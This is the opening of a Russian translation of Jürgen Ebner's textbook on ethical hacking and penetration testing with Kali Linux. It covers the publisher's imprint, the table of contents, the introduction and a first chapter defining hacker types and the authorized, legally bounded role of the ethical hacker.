Text
                    
МИРОВОЙ КОМПЬЮТЕРНЫЙ БЕСТСЕЛЛЕР
Jürgen Ebner EINSTIEG IN ETHICAL HACKING PENETRATION TESTING UND HACKING-TOOLS FÜR DIE IT-SECURITY
Юрген Эбнер ЭТИЧНЫЙ ХАКИНГ ИНСТРУМЕНТЫ ТЕСТИРОВАНИЯ НА ВЗЛОМ И ОБЕСПЕЧЕНИЕ ИТ-БЕЗОПАСНОСТИ Москва 2025
УДК 004.056 ББК 32.973.26-018.2 Э13 Jürgen Ebner Einstieg in Ethical Hacking: Penetration Testing und Hacking-Tools für die IT-Security © 2024 mitp Verlags GmbH & Co. KG, Frechen Published in German Language as: Einstieg in Ethical Hacking — Penetration Testing & Hacking-Tools fuer die IT-Security by Jürgen Ebner, 1st Edition 2024 by MITP Verlag, Germany / All Rights Reserved. Published with arrangements made by Maria Pinto-Peuckmann, Literary Agency — World Copyright Promotion, Kaufering, Germany Книга предназначена исключительно для образовательных целей и направлена на обучение методам защиты компьютерных систем и сетей от несанкционированного доступа. Она соответствует законодательству Российской Федерации и международным нормам, регулирующим деятельность в области информационной безопасности. Использование полученных знаний должно осуществляться только в рамках закона и профессиональной этики. Автор и издательство не несут ответственности за неправомерное применение изложенных материалов и инструментов. Все практические задания и эксперименты рекомендуется проводить в специально созданных тестовых средах и лабораториях, исключающих риск нарушения прав третьих лиц и нанесения ущерба чужим ресурсам. Мы не поощряем и не оправдываем использование методов хакинга в целях незаконного проникновения, кражи данных или иных противоправных действий. Э13 Эбнер, Юрген. Этичный хакинг. Инструменты тестирования на взлом и обеспечение ИТ-безопасности / Юрген Эбнер ; [перевод с немецкого М. В. Семашко]. — Москва : Эксмо, 2025. — 336 с. — (Мировой компьютерный бестселлер). Хотите стать специалистом по этичному хакингу и научиться эффективно защищать компьютерные системы? Изучайте основы белого взлома с этой книгой, осваивайте мощнейшие инструменты Kali Linux и создавайте собственную лабораторию для тестов. Узнайте секреты автоматизации процессов с помощью BASH-скриптов и Python-программирования. Шаг за шагом пройдите путь от начальной разведки до финального отчета о проверках. Научитесь проводить тестирование на взлом и обеспечение ИТ-безопасности законно, повышая свою квалификацию и профессионализм. Книга подойдет как начинающим специалистам, так и опытным профессионалам, стремящимся систематизировать знания и освоить новые технологии обеспечения информационной безопасности. УДК 004.056 ББК 32.973.26-018.2 Все права защищены. Книга или любая ее часть не может быть скопирована, воспроизведена в электронной или механической форме, в виде фотокопии, записи в память ЭВМ, репродукции или каким-либо иным способом, а также использована в любой информационной системе без получения разрешения от издателя. Копирование, воспроизведение и иное использование книги или ее части без согласия издателя является незаконным и влечет уголовную, административную и гражданскую ответственность. Научно-популярное издание МИРОВОЙ КОМПЬЮТЕРНЫЙ БЕСТСЕЛЛЕР Эбнер Юрген ЭТИЧНЫЙ ХАКИНГ ИНСТРУМЕНТЫ ТЕСТИРОВАНИЯ НА ВЗЛОМ И ОБЕСПЕЧЕНИЕ ИТ-БЕЗОПАСНОСТИ 12+ Главный редактор Р. Фасхутдинов Руководитель направления В. Обручев Продюсер Е. Бойцова Ответственный редактор Л. Салихова Научный редактор Н. Фидченко Литературный редактор Е. Пригородова Младший редактор М. Назаренко Художественный редактор Д. Манжавидзе Компьютерная верстка С. Никонорова Корректоры Е. Ерошкина, Л. Макарова Страна происхождения: Российская Федерация Шы3арушы ел: Ресей Федерациясы ООО «Издательство «Эксмо» 123308, Россия, г. Москва, ул. Зорге, д. 1, стр. 1, эт. 20, каб. 2013. Тел.: 8 (495) 411-68-86. Home page: www.eksmo.ru E-mail: info@eksmo.ru Nндіруші: «Издательство «Эксмо» ЖШR 123308, Ресей, МSскеу Tаласы, Зорге кUшесі, 1-Vй, 1-TWрылыс, 20 Tабат, 2013-каб. Тел.: 8 (495) 411-68-86. Home page: www.eksmo.ru E-mail: info@eksmo.ru. Тауар белгісі: «Эксмо» Интернет-магазин : www.book24.ru Интернет-магазин : www.book24.kz Интернет-д,кен : www.book24.kz Импортёр в Республику Казахстан ТОО «РДЦ-Алматы». RазаTстан Республикасына импорттаушы «РДЦ-Алматы» ЖШС. Дистрибьютор и представитель по приему претензий на продукцию в Республике Казахстан: ТОО «РДЦ-Алматы» ТОО РДЦ Алматы, Алматы, ул. Домбровского, 3«а», литер Б, офис 1. Дистрибьютор жSне RазаTстан Республикасында Uнімге ша3ымдар Tабылдау жUніндегі Uкіл: «РДЦ-Алматы» ЖШС. Алматы T., Домбровский кUш., 3 «а», литер Б, офис 1. Тел.: 8 (727) 251-59-90/91/92. E-mail: RDC-Almaty@eksmo.kz Сведения о подтверждении соответствия издания согласно законодательству РФ о техническом регулировании можно получить на сайте Издательства «Эксмо»: www.eksmo.ru/certification ТехникалыT реттеу туралы РФ за_намасына сай басылымны_ сSйкестігін растау туралы мSліметтерді мына адрес бойынша алу3а болады: http://eksmo.ru/certification/ Произведено в Российской Федерации Ресей Федерациясында Uндірілген Сертификаттау3а жатпайды Дата изготовления / Подписано в печать 08.10.2025. Формат 70x1001/16. Печать офсетная. Усл. печ. л. 27,22. Тираж экз. Заказ ISBN 978-5-04-218081-1 © Семашко М.В., перевод на русский язык, 2025 © Оформление. ООО «Издательство «Эксмо», 2025
Содержание . Введение .......................................................................................................................................... 9 Часть 1. Основы этичного взлома 2 2.1 2.2 2.3 2.4 2.5 2.6 2.7 2.8 2.9 Операционные системы для хакеров ..................................................................... 32 Kali Linux ......................................................................................................................... 32 Backbox ............................................................................................................................ 32 Parrot OS .......................................................................................................................... 33 BlackArch ......................................................................................................................... 34 Deft Linux......................................................................................................................... 35 Pentoo Linux .................................................................................................................... 35 CAINE .............................................................................................................................. 36 Fedora Security Spin ....................................................................................................... 37 Резюме .............................................................................................................................. 38 3 3.1 3.2 3.3 Установка Kali-Linux .................................................................................................... 39 Автономная установка................................................................................................. 44 Kali Linux в качестве виртуальной машины ........................................................... 57 4 4.1 4.2 4.3 4.4 4.5 4.6 4.7 4.8 4.9 4.10 Основы (Kali-)Linux..................................................................................................... 64 Что такое Linux? ............................................................................................................ 64 Управление оборудованием........................................................................................ 66 Стандартизированная файловая система ............................................................... 67 Управление процессами .............................................................................................. 68 Командная строка (Command Line) ......................................................................... 69 Файловая система Kali ................................................................................................. 72 Управление правами .................................................................................................... 74 Полезные команды для командной строки ............................................................ 78 Службы ............................................................................................................................ 82 Резюме .............................................................................................................................. 83 . 1.8 1.9 1.10 1.11 Что такое этичный взлом .......................................................................................... 15 Определение ................................................................................................................... 15 Что такое «хакер»? ........................................................................................................ 16 Типы хакеров и их мотивация ................................................................................... 17 Роль этичного хакера ................................................................................................... 19 Как стать хакером или хакершей?............................................................................. 23 Сбор информации об инструментах........................................................................ 24 Руководящие принципы, соответствие требованиям и нормативные аспекты............................................................................................... 25 Зачем взламывать себя? ............................................................................................... 26 Стратегия и методология в этичном взломе .......................................................... 27 Понимание опасностей ............................................................................................... 29 Резюме .............................................................................................................................. 30 . . . . . . . . . . . . . . . . . . . . . 1 1.1 1.2 1.3 1.4 1.5 1.6 1.7 13 . . . . . . . . . . . . . ­ . Подготовка операционной системы ..........................................................39 5
Начало работы и создание хакерской лаборатории с Kali Linux.................... 84 Первый шаг с Kali Linux .............................................................................................. 84 Установка инструментов и обновлений .................................................................. 90 6 6.1 6.2 6.3 6.4 6.5 Введение в оценку уровня безопасности .............................................................. 95 Что означает «безопасность», когда речь идет об информационных системах? ......................................................................................................................... 95 Виды оценок ................................................................................................................... 97 Стандартизация оценок ............................................................................................ 108 Виды атак ...................................................................................................................... 109 Резюме ............................................................................................................................ 113 7 7.1 7.2 7.3 7.4 Введение в программирование и shell-скрипты ............................................... 115 Языки программирования для этичного хакинга .............................................. 115 Программирование на языке Python ..................................................................... 117 Bash-скрипты ............................................................................................................... 124 Резюме ............................................................................................................................ 129 . . . . . ­ . . . . . . . . 5 5.1 5.2 Часть 2. Проведение тестов на проникновение 6 131 Тест на проникновение............................................................................................. 133 Сфера применения теста на проникновение (Scope)......................................... 136 Вопросы для определения объема теста на проникновение ............................ 140 Цель ................................................................................................................................ 144 Бизнес-анализ .............................................................................................................. 144 Указание диапазонов IP-адресов и доменов ......................................................... 145 Взаимодействие с третьими лицами ...................................................................... 145 Определение приемлемых предлогов для социальной инженерии ............... 147 DoS-тесты ...................................................................................................................... 147 Условия оплаты............................................................................................................ 147 Установка каналов связи ........................................................................................... 148 Правила оформления заказа .................................................................................... 150 Существующие функции и технологии ................................................................. 153 Резюме ............................................................................................................................ 154 9 9.1 9.2 9.3 9.4 9.5 9.6 9.7 9.8 Сбор информации (разведка) ................................................................................ 155 Введение ........................................................................................................................ 155 Исследование ............................................................................................................... 156 Определение целей ..................................................................................................... 158 Пассивное сканирование против активного........................................................ 158 Инструменты для сбора информации ................................................................... 159 Анализ информации и поиск целей ....................................................................... 180 Как вы можете отработать эти действия? ............................................................. 181 Резюме ............................................................................................................................ 182 10 10.1 10.2 Активное сканирование........................................................................................... 183 Введение ........................................................................................................................ 183 Обнаружение активных хостов с помощью ping ................................................ 186 . . . . . . . . . . . . . . . . . . . . . . ­ . . . . 8 8.1 8.2 8.3 8.4 8.5 8.6 8.7 8.8 8.9 8.10 8.11 8.12 8.13
Portscan .......................................................................................................................... 187 Автоматизация сбора информации с помощью legion ..................................... 199 Сканирование уязвимостей...................................................................................... 201 Siege — проверка производительности веб-сайтов ............................................ 212 Как вы можете практиковать эти действия? ........................................................ 213 Каковы дальнейшие действия? ................................................................................ 214 Резюме ............................................................................................................................ 214 11 11.1 11.2 11.3 11.4 11.5 11.6 11.7 11.8 11.9 Вторжение через локальную сеть .......................................................................... 215 Доступ к удаленным сервисам ................................................................................. 216 Захват системы ............................................................................................................ 219 Взлом паролей .............................................................................................................. 229 Пароли из каталога Active Directory ....................................................................... 240 Слежка за сетевым трафиком (Sniffing) ................................................................. 244 Armitage — взлом с помощью «пулемета» ............................................................ 253 Как вы можете отработать этот шаг? ..................................................................... 256 Каковы дальнейшие действия? ................................................................................ 258 Резюме ............................................................................................................................ 260 12 12.1 12.2 12.3 12.4 12.5 12.6 12.7 12.8 12.9 Вторжение через веб-интерфейс ........................................................................... 261 Основы веб-взлома ..................................................................................................... 261 Поиск уязвимостей в веб-приложениях................................................................ 263 WebScarab — анализ веб-сайтов (паук).................................................................. 270 Инъекция кода ............................................................................................................. 275 Когда браузеры доверяют веб-сайтам — XSS-атаки ........................................... 278 ZAP — Zed Attack Proxy, инструмент «все в одном»........................................... 281 Как вы можете отработать этот шаг? ..................................................................... 284 Каковы дальнейшие действия? ................................................................................ 286 Резюме ............................................................................................................................ 286 13 13.1 13.2 13.3 13.4 13.5 13.6 Социальная инженерия ........................................................................................... 288 Основы SET .................................................................................................................. 288 Целевая фишинг-атака .............................................................................................. 290 Веб-сайт как вектор атаки ........................................................................................ 290 Credential Harvester/Сбор учетных данных .......................................................... 296 Дополнительные опции в SET.................................................................................. 297 Резюме ............................................................................................................................ 300 14 14.1 14.2 14.3 14.4 14.5 14.6 14.7 Пост-обработка и сохранение доступа ................................................................ 301 Netcat — швейцарский армейский нож ................................................................. 302 Cryptcat — криптографический кузен Netcat ....................................................... 307 Руткиты ......................................................................................................................... 308 Meterpreter — молоток, который сделает гвоздь из чего угодно ..................... 311 Как вы можете отработать этот шаг? ..................................................................... 314 Каковы дальнейшие действия? ................................................................................ 315 Резюме ............................................................................................................................ 316 15 15.1 Завершение теста на проникновение ................................................................... 317 Инструменты для отчета........................................................................................... 317 . . . . . . . . . . . . . . ­ . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10.3 10.4 10.5 10.6 10.7 10.8 10.9 7
. . Отчет о тестировании ................................................................................................ 324 Каковы дальнейшие действия? ................................................................................ 329 Резюме ............................................................................................................................ 330 . 15.2 15.3 15.4 . Приложение А ........................................................................................................................... 331 . . . Эпилог ............................................................................................................................ 331 Совет на будущее ........................................................................................................ 331 Заключительное замечание ...................................................................................... 333 Предметный указатель .............................................................................................. 333
Введение Не так давно хакерство было скорее табу, и обучающие тренинги по этой теме не проводились. Однако сейчас пришло осознание, что «наступательный подход» обеспечивает дополнительную ценность для ІТ-безопасности. Этот новый метод приветствуется большими и малыми организациями различных отраслей деятельности: государственные учреждения теперь серьезно относятся к «наступательной» безопасности, а правительства официально признают, что работают в этом направлении. Важную роль в концепции безопасности организации играют тесты на проникновение. Политика оценки рисков, планы чрезвычайных ситуаций и восстановление после катастроф стали неотъемлемыми мерами обеспечения IT-безопасности. Тестирование на проникновение также должно быть включено в общее планирование. С помощью таких тестов вы сможете узнать, как вас воспринимает противник. Это даст ключ к неожиданным открытиям и позволит вам выиграть драгоценное время для улучшения систем прежде, чем произойдет реальная атака. В настоящее время существует множество хороших инструментов для взлома. Большинство из них не просто «существуют», но и стабильно запускаются благодаря многолетнему развитию. Еще более важно, что многие из этих инструментов доступны бесплатно. Звучит заманчиво, но для начала вам нужно найти, скомпилировать и установить эти инструменты, прежде чем можно будет выполнить даже самый простой тест на проникновение. В современных операционных системах Linux это сделать относительно легко. Но для новичков данная задача может оказаться сложной. Даже для опытных пользователей сбор и установка всех инструментов — дело утомительное. Сообщество безопасности, к счастью, активное и независимое. Несколько организаций неустанно работали над созданием различных дистрибутивов Linux для взлома и тестирования на проникновение. Дистрибутив (сокращенно Distro) — вариант Linux. Для тестирования взлома и проникновения существуют такие дистрибутивы Linux, как: ◾ ◾ ◾ ◾ Parrot Security OS; BlackBox; BlackArch; Fedora Security Spin; 9
 Введение ◾ ◾ ◾ ◾ ◾ ◾ Samurai Web Testing Framework; Pentoo Linux; DEFT Linux; Caine; Network Security Toolkit (NST); Kali Linux. Самый популярный Distro для тестов на проникновение — Kali Linux. Поэтому в этой книге мы также используем его в качестве инструмента взлома, который можно применить во всех других дистрибутивах Linux, а иногда даже в Windows. Благодаря Kali Linux, а также другим операционным системам для взлома, начинающие специалисты по безопасности, Pentester и IT-специалисты получают обширную платформу для планирования и проведения цифровых атак. Зачем вам это нужно? С одной стороны, для борьбы с потенциальными атаками на собственные системы, а с другой — для лучшего понимания внутренних и внешних уязвимостей. «Хакерская операционная система», такая как Kali Linux & Co., уже по умолчанию наполнена инструментами, которые либо лишают сна специалистов по безопасности и IT-руководителей, либо заставляют их глаза блестеть. На самом деле хакерские операционные системы не содержат ничего эксклюзивного. Вы можете установить любой инструмент, программное обеспечение и скрипт на всякий выбранный вами Linux (иногда даже на Windows), однако многие исследователи безопасности прибегают к Kali. Причина, по которой часто используются дистрибутивы типа Kali & Co, заключается в том, что большинство программ, включая соответствующие настройки, уже активированы или могут быть просто установлены из репозиториев. Другая причина — Kali очень хорошо работает в изолированной среде. Если что то пойдет не так, систему можно быстро переустановить и начать с нуля. Это гораздо лучше полного разрушения продуктивной среды. ‑ Предупреждение Неправильное применение инструментов безопасности в вашей сети, особенно без разрешения, может причинить непоправимый ущерб с серьезными последствиями. Никогда не тестируйте и не взламывайте системы без разрешения. 10
Об этой книге Об этой книге Эта книга — практическое руководство для всех, кто интересуется этичным хакингом и тестированием на проникновение. Она предназначена как для начинающих, так и для опытных пользователей, которые хотят расширить свои навыки в области IT-безопасности. Книга объясняет основы этичного взлома, правовые и этические аспекты, а также основные методы и инструменты, используемые хакерами для обнаружения и использования уязвимостей в сетях и системах. Я построил книгу таким образом, чтобы вы могли использовать ее, даже если у вас нет опыта в оценке безопасности или вы еще не работали с Linux. Прочитав ее, вы сможете успешно проводить оценки безопасности в качестве тестировщика на проникновение — даже если вы новичок. В первой части книги вы найдете все основы, необходимые для этичного хакинга, в частности краткое введение в Kali Linux, создание хакерской лаборатории и самые важные основы Linux. Так что, если вы новичок в Linux, вы без проблем сможете следовать инструкциям в книге. Вы узнаете, какие существуют виды оценки безопасности и какую роль в них играет тестирование на проникновение. Вы также получите представление о BASH-скриптах и о том, как работает язык программирования Python. Они пригодятся для адаптации существующих инструментов взлома или их автоматизации. Вторая часть книги посвящена планированию и проведению тестов на проникновение. Вы подробно изучите различные этапы тестирования, разнообразные атаки и подходящие инструменты для взлома. Также здесь поясняется, каких рекомендаций следует придерживаться при проведении тестов, чтобы взламывать безопасно и этично. Дополнительная информация На домашней странице (https:// www.jürgenebner.com/) вы найдете информацию об актуальных темах безопасности и изменениях в моих книгах. Также здесь можно оставлять отзывы, чтобы мы могли улучшить последующие издания.

Часть 1 Основы этичного взлома В этой части книги вы узнаете все, что нужно для начала работы с этичным взломом. Мы рассмотрим различия между целями этичных хакеров и злоумышленников, а также разберем, как зародился и развивался этичный хакинг. В книге мы будем работать с Kali Linux, но этот инструмент подходит не всем. Поэтому мы также рассмотрим, какие существуют альтернативы Kali Linux, чтобы в случае необходимости вы могли прибегнуть к ним. Прежде чем приступить к взлому, вам необходимо настроить систему. Для этой книги мы выбрали быстрый старт, поэтому будем использовать Image для Virtual Box. Кроме того, здесь описана общая установка Kali Linux. 13
Часть 1 Основы этичного взлома В этой части: ■ Глава 1 Что такое этичный взлом ....................................................... 15 . ■ Глава 2 Операционные системы для хакеров .................................. 32 . ■ Глава 3 Подготовка операционной системы .................................... 39 . ■ Глава 4 Основы (Kali-)Linux ................................................................. 64 . ■ Глава 5 Начало работы и создание хакерской лаборатории с Kali Linux ................................................................................. 84 . ■ Глава 6 Введение в оценку уровня безопасности ........................... 95 . ■ Глава 7 Введение в программирование и shell-скрипты ............. 115 ­ .
Глава 1 Что такое этичный взлом С помощью этой книги вы сможете обнаружить слабые стороны на своем компьютере и в вашей сети и устранить их до того, как киберпреступники получат возможность воспользоваться ими. Поскольку термин «этика» часто используется в неправильном ключе, посмотрим, как он определяется в словарях: Совокупность моральных норм и принципов, на которых основывается {ответственное} отношение. Это определение отлично согласуется с данной книгой, а также с профессиональными тестами и методами безопасности, которые в ней рассматриваются. Специалисты в области информационных технологий и безопасности данных обязаны выполнять представленные здесь методы честно и только с прямого разрешения владельцев систем. 1.1 Определение Судя по сообщениям СМИ, многие уже ощущают последствия кибератак. Большинство наверняка слышали о хакерах и злоумышленниках. Но кто эти люди? Что следует о них знать? Чтобы избежать недоразумений, мы определяем здесь следующие термины: ◾ Хакер. Внешний злоумышленник, атакующий компьютеры с намерением украсть конфиденциальные данные для достижения незаконной цели. ◾ Злоумышленники (Вредоносные пользователи). Внутренние пользователи, которые атакуют компьютеры и конфиденциальные данные изнутри в качестве авторизованных и «доверенных» пользователей. Злоумышленник чаще всего атакует системы, чтобы отомстить, но в некоторых случаях преследует и незаконные цели. Атакующие могут быть как хакерами, так и злоумышленниками. И тех и других проще назвать хакерами. Различие между терминами мы проведем в том случае, если нам понадобится глубже изучить их инструменты, методы и способы мышления. ◾ Этичные хакеры. «Хорошие парни», которые взламывают системы, чтобы выявить слабые стороны и иметь возможность создавать средства защиты от несанкционированного доступа. Это могут быть консультанты по IT-безопасности или штатные сотрудники. 15
Глава 1 Что такое этичный взлом 1.2 Что такое «хакер»? Когда мы рассуждаем о хакере, на ум многим приходит типичный компьютерный ботаник в толстовке с капюшоном. Но что такое «хакер» на самом деле? Лучшее описание, которое я слышал, имеет мало общего с компьютерами. Оно таково: хакер — это человек, который решает проблему творческим способом. В первоначальном значении это человек, увлеченный технологиями в контексте игривой, самозабвенной преданности и с особым чувством креативности. Однако сегодня термин «хакер» чаще всего имеет негативный оттенок; под ним мы понимаем человека, который незаконно проникает в компьютерные системы. Он получает удовольствие от исследования программируемых систем и в процессе расширяет свои возможности. Ему нравится интеллектуальный вызов, который можно преодолеть и обойти творческими способами. Этот человек обладает знаниями в области технических устройств и интернета, и он пытается перехитрить, перепрофилировать или модифицировать технику. Что отличает программистов или компьютерных ученых от хакеров? Это непростой вопрос, так как четкого определения нет. Программист — это обычная профессия, которой можно обучиться, не становясь хакером автоматически. Есть несколько моментов, которые отличают хакеров от программистов: хакеры пробуют что то новое, незадокументированное. Они экспериментируют и тестируют программное обеспечение или оборудование. Им необязательно знать, как все это работает: они пытаются разобраться с помощью своих тестов. Программисты и программистки придерживаются систем, которые знают. Хакеры пытаются заставить программное обеспечение вести себя так, как им нужно. Они ищут незадокументированные углы, что часто означает действовать методом проб и ошибок. Хакеры получают удовольствие от того, что у других обычно вызывает разочарование. Как правило, они принимают вызов и не дают себе отдыха, пока не поймут, что происходит. ‑ Для улучшения осведомленности хакеры и хакерши часто делятся своими знаниями с сообществом. Они документируют свои шаги, чтобы и другие могли достичь данного уровня. Это помогает им выйти за рамки своих способностей. Хакеров можно разделить на различные группы в зависимости от их деятельности: ◾ Hardware Hacker (модификация и создание аппаратного обеспечения); ◾ Open Source Software (программное обеспечение с открытым исходным кодом); 16
1.3 Типы хакеров и их мотивация ◾ Security (защита информации и систем от несанкционированного доступа и атак); ◾ Hacktivismus (проведение кибератак в политических целях); ◾ File Sharing (предоставление файлов в общий доступ); ◾ Cracking-Szene (несанкционированный взлом для обхода защиты или создания пиратских копий). ­ Этот список, безусловно, неполный. В сообществе пытались отделить незаконные действия от «хороших» хакеров — в частности, установить термин Cracker (взломщик). Но, к сожалению, он не прижился. Поэтому нам придется принять, что слово «хакер» стало обобщающим определением для многих описаний. В наше время этот термин обычно понимают неправильно. В разговорной речи он звучит негативно, но на самом деле означает высококвалифицированных компьютерных чудаков. Это люди, которые занимаются компьютерными системами и особенно любознательны. Они любят вызовы и с удовольствием изучают что то новое. Хакера отличает творческий подход, умение развивать собственные идеи, создавать что то новое и максимально креативно использовать свои навыки. Они готовы усердно работать, чтобы достичь своих целей, и делиться своими знаниями с единомышленниками. И это положительные качества, которые многие компании хотят видеть у своих сотрудников. ‑ ‑ Как и везде, среди хакеров есть «паршивые овцы». Это специализированная группировка криминальных взломщиков, которые несут ответственность за негативный имидж хакеров. Они проникают в сети и компьютерные системы, крадут данные и взламывают пароли. 1.3 Типы хакеров и их мотивация Термин «хакер» подразумевает и хороших хакеров, и тех, кто действует тайно. Поэтому часто говорят о «белых шляпах» и «черных шляпах» среди хакеров. Эта классификация берет начало из старых вестернов, в которых хорошие персонажи всегда носили белые шляпы, а злодеи — черные. Однако сейчас большинство людей связывают с термином «хакер» что то негативное. ‑ Примечание Многие злоумышленники утверждают, что делают это ради блага общества и не хотят никому навредить. Будьте осторожны и не путайте сотрудника службы безопасности с преступным хакером. Первые занимаются взломами в честных интересах и также разрабатывают инструменты, которые помогают нам в работе. Они осознают свою ответственность и заботятся о том, чтобы их результаты и исходные коды программ были опубликованы. 17
Глава 1 Что такое этичный взлом 1.3.1 «Черные шляпы» «Черные шляпы» — это плохие хакеры. Они используют свои навыки с преступными и разрушительными намерениями. Эти хакеры незаконно проникают в системы и крадут данные или шифруют их. Они шантажируют компании, крадут деньги или наносят ущерб. «Черные шляпы» также модифицируют программное обеспечение сторонних производителей, чтобы снять защиту от копирования или незаметно подключить вредоносное ПО. Они крадут цифровые личности, чтобы получить преимущества для себя, а также нарушают доступность сервисов с помощью атак типа «отказ в обслуживании» (Denial-of-Service). ­ 1.3.2 «Белые шляпы», или этичные хакеры «Белые шляпы» используют свои навыки для защиты систем. Чаще всего это независимые консультанты, которые анализируют меры безопасности и системы, а также предлагают действия для улучшения защиты. «Белым шляпам» нравится взламывать веб-сайты, приложения и программы. Они помогают компаниям и частным лицам находить всевозможные ошибки, уязвимости и баги в их программном обеспечении. 1.3.3 «Серые шляпы» «Серые шляпы» публикуют (намеренно или случайно) найденные уязвимости известных операционных систем и программ в интернете. Эти слабые места могут быть использованы всеми, включая хакеров в «черных шляпах». Компаниям необходимо как можно быстрее закрыть уязвимость, чтобы снизить риск успешной атаки. «Серые шляпы» считают, что производители программного и аппаратного обеспечения сами отвечают за безопасность своих продуктов, и оставляют на усмотрение судьбы, будет ли опубликованная ими информация использована во благо или во вред. 1.3.4 Скрипт-кидди (Script Kiddies) ­ Скрипт-кидди — это молодежь, которая находит инструменты в сети, с помощью которых атакует компании или частные лица и намеренно доводит своих жертв до белого каления. Цель здесь не столько заработать деньги, сколько проверить собственные навыки и досадить жертве. ­ Эта группа была распространена в первые годы существования хакерства, но сейчас составляет лишь небольшую часть злоумышленников. 18
1.4 Роль этичного хакера 1.3.5 Синяя команда и красная команда Здесь речь идет о двух сторонах одной медали, касающейся защиты IT-систем. Красная команда — это специалисты по тестированию на проникновение, которые ищут слабые стороны в системах и пытаются в них проникнуть. Сюда также относятся «охотники за багами». Эта группа ищет уязвимости для компаний в рамках программы по вознаграждению за найденные ошибки. Многие компании, особенно разработчики ПО, такие как Microsoft, Google, Amazon, Twitter и другие, поддерживают данную инициативу, которая позволяет проверять их программы на наличие уязвимостей. Синяя команда состоит из аналитиков кибербезопасности, которые защищают системы от атак. Также существуют соревнования, в которых синяя команда должна защитить сервер с демо-данными от красной команды. Красные при этом пытаются незаметно проникнуть в системы. 1.4 Роль этичного хакера Роль этичного хакера («белая шляпа» или специалист по безопасности) имеет решающее значение, когда речь идет о безопасности IT-систем и сетей. В отличие от злонамеренных хакеров, которые используют слабые места для получения несанкционированного доступа и нанесения ущерба, этичные хакеры преследуют иные цели. Этичное хакерство происходит в профессиональной обстановке с разрешения «жертв». Его главная задача — выявлять уязвимости и слабости в системе, прежде чем их могут использовать злоумышленники. Этичный хакер, как правило, действует методично и имеет все шансы проанализировать последствия вредоносных атак во время тестовой эксплуатации. Так будет достигнут более высокий уровень безопасности до того, как новое ПО или изменения в конфигурации сети будут введены в работу. Этичный хакер задает следующие вопросы в рамках так называемого аудита. ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ Что может увидеть злоумышленник в целевой системе? Какие серверы и устройства ему видны? Какие из этих устройств доступны для него? Как злоумышленник может использовать полученную информацию против компании? Можно ли отследить его попытки и успехи в системах? Какие системы компании необходимо защитить? От кого или чего нужно защищаться? Какие меры адекватны в каждом конкретном случае? Какой бюджет может выделить компания для обеспечения достаточной защиты? 19
Глава 1 Что такое этичный взлом Задача этичного хакера — обеспечить безопасность систем компании с учетом известных кибератак. Поскольку стопроцентной защиты не существует, этичные хакеры стараются устанавливать механизмы обнаружения, оповещения и регистрации, чтобы отследить любые атаки от злоумышленника. Вместо того чтобы полагаться на механизмы безопасности приобретенных стандартных систем, этичный хакер проникает в IT-инфраструктуру компании по ее поручению. Так же упорно, как злоумышленник, он ищет в сети компании брешь, через которую можно войти. Этичный хакер сканирует все внешние и внутренние устройства и пытается определить операционные системы и сервисы, установленные на них. Обнаружив уязвимость, он получает доступ к затронутой системе и оставляет там сообщение для заказчика в качестве доказательства. Эта процедура называется «тест на проникновение». ­ В ходе этого этичный хакер действует осторожно и старается не нарушить работу продуктивно работающих сервисов. Атаки, направленные на отключение определенных служб, выполняются не на продуктивных системах, а на тестовых. Переполнение буфера, атаки типа DoS или червем осуществляются в изолированной тестовой сети. Однако для того чтобы создать такие же условия, как и в продуктивных системах, необходимо использовать то же самое оборудование и сетевую конфигурацию. Это касается файерволов или брандмауэров, роутеров, коммутаторов, баз данных, веб-серверов, почтовых серверов, FTP-серверов и многого другого. Кроме того, перед этичным хакером стоят следующие задачи: ◾ Авторизованные тесты безопасности Этичный хакер проводит тесты на безопасность только с явного разрешения владельца (или администратора) системы или сети. Перед их проведением он должен получить письменное задание, в котором определяются цели, объем и условия теста. Авторизация гарантирует, что этичный хакер действует законно и не должен опасаться юридических последствий. ◾ Идентификация уязвимостей Основная задача этичного хакера — выявить слабые места и недостатки безопасности в системе или сети. При этом он использует разные методы и техники, такие как тесты на проникновение, сканирование уязвимостей и анализ кода. Выявляя слабые места, этичный хакер может помочь компании активно реагировать на потенциальные угрозы и принимать соответствующие меры безопасности. ◾ Предотвращение инцидентов, связанных с безопасностью Обнаруживая пробелы в системе, этичный хакер вносит значительный вклад в предотвращение инцидентов, связанных с безопасностью. Устраняя слабые места до того, как их могут использовать злоумышленники, 20
1.4 Роль этичного хакера этичный хакер защищает компанию от финансовых потерь, репутационных (имиджевых) рисков и правовых последствий. ◾ Советы и рекомендации После завершения тестирования этичный хакер составляет подробный отчет с указанием выявленных уязвимостей и недостатков в системе безопасности. Здесь также содержатся рекомендации и предложения по ее улучшению. Таким образом, этичный хакер выступает в качестве консультанта для компании и помогает ей разработать и реализовать эффективную стратегию безопасности. ◾ Повышение осведомленности и обучение Этичный хакер также способствует повышению осведомленности и обучению сотрудников. Через тренинги и семинары они могут узнать о важности IT-безопасности и научиться защищаться от фишинговых атак, социальных манипуляций и других угроз безопасности. ◾ Правовые аспекты и этика Этичный хакер должен строго соблюдать этические нормы и законодательные требования. Он имеет право проводить только санкционированные тесты и должен гарантировать, что его действия соответствуют применимым законам и нормативным актам. Этичный хакер обязан уважать частную жизнь и данные компании, а также обеспечивать конфиденциальность информации. Подводя итог, можно сказать, что роль этичного хакера очень важна для безопасности IT-систем и сетей. Выявляя слабые места и недостатки, он способствует предотвращению инцидентов безопасности и защищает компанию от финансового ущерба и потери репутации. Тесное сотрудничество этичного хакера и компании необходимо для разработки эффективной стратегии безопасности и реализации комплексных мер защиты. Этичное хакерство — неотъемлемая часть целостной концепции безопасности. Так что взлом может быть этичным! Многим это заключение может показаться противоречивым, но это отличный способ защититься от злонамеренных атак. Если вы не будете полагаться на функции приобретенных систем, а тщательно проанализируете собственную инфраструктуру и проведете достаточное тестирование, это создаст прочную основу для повышения безопасности. Злоумышленники обычно не интересуются сетью конкретной компании, на которую нацелились: они сканируют интернет в поисках известных уязвимостей и атакуют там, где можно добиться быстрого успеха с минимальными усилиями. Лучший способ защитить свою сеть от хакеров — это мыслить как хакер. 21
